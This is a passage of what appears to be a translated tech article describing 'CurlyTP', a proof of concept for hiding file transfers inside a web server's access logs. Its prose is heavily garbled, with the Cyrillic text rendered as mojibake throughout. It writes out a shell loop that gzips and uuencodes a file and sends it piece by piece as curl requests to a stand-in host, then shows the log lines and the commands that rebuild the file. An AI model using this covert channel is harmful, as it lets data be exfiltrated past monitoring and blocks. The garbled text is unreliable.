Π‘ΠΏΠΎΡΠ΅Π΄ Π΄Π΅ΡΠΈΠ½ΠΈΡΠΈΡΡΠ° Π½Π° Wikipedia, ΠΌΡΡΡΠ²Π°ΡΠ° ΡΠΎΡΠΊΠ° Π΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π·Π° ΠΊΠΎΠ½ΡΠΏΠΈΡΠ°ΡΠΈΡ, ΠΊΠΎΠΉΡΠΎ ΡΠ»ΡΠΆΠΈ Π·Π° ΠΎΠ±ΠΌΠ΅Π½ Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΈΠ»ΠΈ Π½ΡΠΊΠΎΠΈ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ ΠΌΠ΅ΠΆΠ΄Ρ Ρ ΠΎΡΠ°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠΈ ΡΠ°ΠΉΠ½ΠΎ ΠΌΠ΅ΡΡΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. ΠΠ΄Π΅ΡΡΠ° Π΅, ΡΠ΅ Ρ ΠΎΡΠ°ΡΠ° Π½ΠΈΠΊΠΎΠ³Π° Π½Π΅ ΡΠ΅ ΡΡΠ΅ΡΠ°Ρ - Π½ΠΎ Π²ΡΠΏΡΠ΅ΠΊΠΈ ΡΠΎΠ²Π° ΠΎΠ±ΠΌΠ΅Π½ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, Π·Π° Π΄Π° ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°Ρ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½Π°ΡΠ° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ.
Π‘ΠΊΡΠΈΠ²Π°Π»ΠΈΡΠ΅ΡΠΎ Π½Π΅ ΡΡΡΠ±Π²Π° Π΄Π° ΠΏΡΠΈΠ²Π»ΠΈΡΠ° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. ΠΠ°ΡΠΎΠ²Π° Π² ΠΎΡΠ»Π°ΠΉΠ½ ΡΠ²Π΅ΡΠ° ΡΠ΅ ΡΠ΅ΡΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π΄ΠΈΡΠΊΡΠ΅ΡΠ½ΠΈ Π½Π΅ΡΠ°: ΡΠ°Π·Ρ Π»Π°Π±Π΅Π½Π° ΡΡΡ Π»Π° Π² ΡΡΠ΅Π½Π°ΡΠ°, Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΡΠ½Π° ΠΊΠ½ΠΈΠ³Π° ΠΈΠ»ΠΈ ΠΊΡΡ ΠΈΠ½Π° Π² Π΄ΡΡΠ²ΠΎ.
Π ΠΈΠ½ΡΠ΅ΡΠ½Π΅Ρ ΠΈΠΌΠ° ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ Π·Π° ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅ ΠΈ Π°Π½ΠΎΠ½ΠΈΠΌΠΈΠ·ΠΈΡΠ°Π½Π΅, Π½ΠΎ ΡΠ°ΠΌΠΈΡΡ ΡΠ°ΠΊΡ Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠ΅Π·ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ ΠΏΡΠΈΠ²Π»ΠΈΡΠ° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ΡΠΎ. ΠΡΠ²Π΅Π½ ΡΠΎΠ²Π° ΡΠ΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ Π±Π»ΠΎΠΊΠΈΡΠ°Π½ΠΈ Π½Π° ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΠΎ ΠΈΠ»ΠΈ ΠΏΡΠ°Π²ΠΈΡΠ΅Π»ΡΡΠ²Π΅Π½ΠΎ Π½ΠΈΠ²ΠΎ. ΠΠ°ΠΊΠ²ΠΎ Π΄Π° ΠΏΡΠ°Π²Ρ?
Π Π°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΡΡ Π Π°ΠΉΡΠ½ Π€Π»Π°ΡΡΡΡ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π° ΠΎΠΏΡΠΈΡ -
ΠΠΊΠ°Π·Π²Π° ΡΠ΅, ΡΠ΅ Π²ΡΠ΅ΠΊΠΈ ΡΠ΅Π± ΡΡΡΠ²ΡΡ Π²ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π΄Π° Π·Π°ΠΏΠ°Π·ΠΈΡΠ΅ ΠΏΠΎΡΡΠΈ Π²ΡΡΠΊΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ°. Π¦Π²Π΅ΡΠΈ ΡΠ΅ ΡΡΠ΄Π΅Ρ Π° ΠΊΠ°ΠΊ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΡΠΎΠ²Π°.
Π’ΠΎΠΉ ΠΏΡΠ΅Π΄Π»Π°Π³Π° ΡΠ»Π΅Π΄Π½ΠΈΡ Π²Π°ΡΠΈΠ°Π½Ρ:
- ΠΠ·Π΅ΠΌΠ΅ΡΠ΅ ΡΠ΅ΠΊΡΡΠΎΠ² ΡΠ°ΠΉΠ» (ΡΠ°ΠΉΠ½ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅) ΠΈ ΠΈΠ·ΡΠΈΡΠ»Π΅ΡΠ΅ Ρ Π΅ΡΠ° (md5sum).
- ΠΠΈΠ΅ Π³ΠΎ ΠΊΠΎΠ΄ΠΈΡΠ°ΠΌΠ΅ (gzip+uuencode).
- ΠΠΈΡΠ΅ΠΌ Π² Π΄Π½Π΅Π²Π½ΠΈΠΊΠ°, ΠΊΠ°ΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΡΠΌΠΈΡΠ»Π΅Π½ΠΎ Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»Π½Π° Π·Π°ΡΠ²ΠΊΠ° ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ°.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
ΠΠ° Π΄Π° ΠΏΡΠΎΡΠ΅ΡΠ΅ΡΠ΅ ΡΠ°ΠΉΠ», ΡΡΡΠ±Π²Π° Π΄Π° ΠΈΠ·Π²ΡΡΡΠΈΡΠ΅ ΡΠ΅Π·ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π² ΠΎΠ±ΡΠ°ΡΠ΅Π½ ΡΠ΅Π΄: Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ°ΠΉΡΠ΅ ΠΈ ΡΠ°Π·Π°ΡΡ ΠΈΠ²ΠΈΡΠ°ΠΉΡΠ΅ ΡΠ°ΠΉΠ»Π°, ΠΏΡΠΎΠ²Π΅ΡΠ΅ΡΠ΅ Ρ Π΅ΡΠ° (Ρ Π΅ΡΡΡ ΠΌΠΎΠΆΠ΅ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π΄Π°Π²Π° ΠΏΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΊΠ°Π½Π°Π»ΠΈ).
ΠΠ½ΡΠ΅ΡΠ²Π°Π»ΠΈΡΠ΅ ΡΠ΅ Π·Π°ΠΌΠ΅Π½ΡΡ Ρ =+=
ΡΠ°ΠΊΠ° ΡΠ΅ Π΄Π° Π½ΡΠΌΠ° ΠΈΠ½ΡΠ΅ΡΠ²Π°Π»ΠΈ Π² Π°Π΄ΡΠ΅ΡΠ°. ΠΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ°, ΠΊΠΎΡΡΠΎ Π°Π²ΡΠΎΡΡΡ Π½Π°ΡΠΈΡΠ° CurlyTP, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π΅ base64, ΠΊΠ°ΡΠΎ ΠΏΡΠΈΠΊΠ°ΡΠ΅Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΊΡΠΌ ΠΈΠΌΠ΅ΠΉΠ». ΠΠ°ΡΠ²ΠΊΠ°ΡΠ° ΡΠ΅ ΠΏΡΠ°Π²ΠΈ Ρ ΠΊΠ»ΡΡΠΎΠ²Π° Π΄ΡΠΌΠ° ?transfer?
ΡΠ°ΠΊΠ° ΡΠ΅ ΠΏΠΎΠ»ΡΡΠ°ΡΠ΅Π»ΡΡ Π΄Π° ΠΌΠΎΠΆΠ΅ Π»Π΅ΡΠ½ΠΎ Π΄Π° Π³ΠΎ Π½Π°ΠΌΠ΅ΡΠΈ Π² ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅.
ΠΠ°ΠΊΠ²ΠΎ Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ Π² Π΄Π½Π΅Π²Π½ΠΈΡΠΈΡΠ΅ Π² ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
ΠΠ°ΠΊΡΠΎ Π²Π΅ΡΠ΅ ΡΠΏΠΎΠΌΠ΅Π½Π°Ρ ΠΌΠ΅, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΡΠ°ΠΉΠ½ΠΎ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅, ΡΡΡΠ±Π²Π° Π΄Π° ΠΈΠ·Π²ΡΡΡΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈΡΠ΅ Π² ΠΎΠ±ΡΠ°ΡΠ΅Π½ ΡΠ΅Π΄:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
ΠΡΠΎΡΠ΅ΡΡΡ Π΅ Π»Π΅ΡΠ΅Π½ Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠ°Π½Π΅. Md5sum ΡΡΠ²ΠΏΠ°Π΄Π° ΠΈ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π° ΠΏΠΎΡΠ²ΡΡΠΆΠ΄Π°Π²Π°, ΡΠ΅ Π²ΡΠΈΡΠΊΠΎ Π΅ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ°Π½ΠΎ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ.
ΠΠ΅ΡΠΎΠ΄ΡΡ Π΅ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΡ. βΠ‘ΠΌΠΈΡΡΠ»ΡΡ Π½Π° ΡΠΎΠ²Π° ΡΠΏΡΠ°ΠΆΠ½Π΅Π½ΠΈΠ΅ Π΅ ΠΏΡΠΎΡΡΠΎ Π΄Π° Π΄ΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Ρ Π²ΡΡΠ»ΡΡ ΡΡΠ΅Π· Π½Π΅Π²ΠΈΠ½Π½ΠΈ ΠΌΠ°Π»ΠΊΠΈ ΡΠ΅Π± Π·Π°ΡΠ²ΠΊΠΈ ΠΈ ΡΠΎ ΡΠ°Π±ΠΎΡΠΈ Π½Π° Π²ΡΠ΅ΠΊΠΈ ΡΠ΅Π± ΡΡΡΠ²ΡΡ Ρ Π΄Π½Π΅Π²Π½ΠΈΡΠΈ Ρ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ ΡΠ΅ΠΊΡΡ. ΠΠΎ ΡΡΡΠ΅ΡΡΠ²ΠΎ Π²ΡΠ΅ΠΊΠΈ ΡΠ΅Π± ΡΡΡΠ²ΡΡ Π΅ ΡΠΊΡΠΈΠ²Π°Π»ΠΈΡΠ΅!β, ΠΏΠΈΡΠ΅ Π€Π»Π°ΡΡΡΡ.
Π Π°Π·Π±ΠΈΡΠ° ΡΠ΅, ΠΌΠ΅ΡΠΎΠ΄ΡΡ ΡΠ°Π±ΠΎΡΠΈ ΡΠ°ΠΌΠΎ Π°ΠΊΠΎ ΠΏΠΎΠ»ΡΡΠ°ΡΠ΅Π»ΡΡ ΠΈΠΌΠ° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° ΡΡΡΠ²ΡΡΠ°. ΠΠΎ ΡΠ°ΠΊΡΠ² Π΄ΠΎΡΡΡΠΏ ΡΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Ρ Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ ΠΎΡ ΠΌΠ½ΠΎΠ³ΠΎ Ρ ΠΎΡΡΠ΅ΡΠΈ.
ΠΠ°ΠΊ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°?
Π Π°ΠΉΡΠ½ Π€Π»Π°ΡΡΡΡ ΠΊΠ°Π·Π²Π°, ΡΠ΅ Π½Π΅ Π΅ Π΅ΠΊΡΠΏΠ΅ΡΡ ΠΏΠΎ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΎΠ½Π½Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ ΠΈ Π½ΡΠΌΠ° Π΄Π° ΡΡΡΡΠ°Π²ΠΈ ΡΠΏΠΈΡΡΠΊ Ρ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΈ ΡΠΏΠΎΡΡΠ΅Π±ΠΈ Π½Π° CurlyTP. ΠΠ° Π½Π΅Π³ΠΎ ΡΠΎΠ²Π° Π΅ ΠΏΡΠΎΡΡΠΎ Π΄ΠΎΠΊΠ°Π·Π°ΡΠ΅Π»ΡΡΠ²ΠΎ Π·Π° ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΡΡΠ°, ΡΠ΅ ΠΏΠΎΠ·Π½Π°ΡΠΈΡΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ, ΠΊΠΎΠΈΡΠΎ Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ Π²ΡΠ΅ΠΊΠΈ Π΄Π΅Π½, ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΏΠΎ Π½Π΅ΡΡΠ°Π΄ΠΈΡΠΈΠΎΠ½Π΅Π½ Π½Π°ΡΠΈΠ½.
ΠΡΡΡΠ½ΠΎΡΡ ΡΠΎΠ·ΠΈ ΠΌΠ΅ΡΠΎΠ΄ ΠΈΠΌΠ° ΡΠ΅Π΄ΠΈΡΠ° ΠΏΡΠ΅Π΄ΠΈΠΌΡΡΠ²Π° ΠΏΡΠ΅Π΄ Π΄ΡΡΠ³ΠΈ ΡΡΡΠ²ΡΡΠ½ΠΈ βΡΠΊΡΠΈΠ²Π°Π½ΠΈΡβ ΠΊΠ°ΡΠΎ
Π’ΠΎΠ²Π° Π΅ Π΅Π΄ΠΈΠ½ ΠΎΡ Π½Π°ΡΠΈΠ½ΠΈΡΠ΅ Π·Π° ΠΏΡΠ΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ ΡΡΠ΅Π· ΡΠ΅ΡΠ²ΠΈΠ·Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅. Π‘ΠΏΠΎΠΌΠ½ΡΡΠ΅ ΡΠΈ ΠΊΠ°ΠΊ ΠΏΠ»Π°ΡΠΈΡΠ°Ρ
Π° Π½ΡΠΊΠΎΠΈ Π½Π°ΠΏΡΠ΅Π΄Π½Π°Π»ΠΈ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ
ΠΠ΄Π΅ΡΡΠ° Π±Π΅ΡΠ΅ ΡΠ°ΠΌΠΎ ΡΠ΅Π± ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ Π΄Π° Π²ΠΈΠΆΠ΄Π°Ρ ΡΠΎΠ²Π° Π²Π΅Π»ΠΈΠΊΠ΄Π΅Π½ΡΠΊΠΎ ΡΠΉΡΠ΅, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π½ΠΎΡΠΌΠ°Π»Π΅Π½ ΡΠΎΠ²Π΅ΠΊ Π½Π΅ Π±ΠΈ ΠΏΠΎΠ³Π»Π΅Π΄Π½Π°Π» Π·Π°Π³Π»Π°Π²ΠΊΠΈΡΠ΅ ΠΈΠ»ΠΈ HTML ΠΊΠΎΠ΄Π°.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com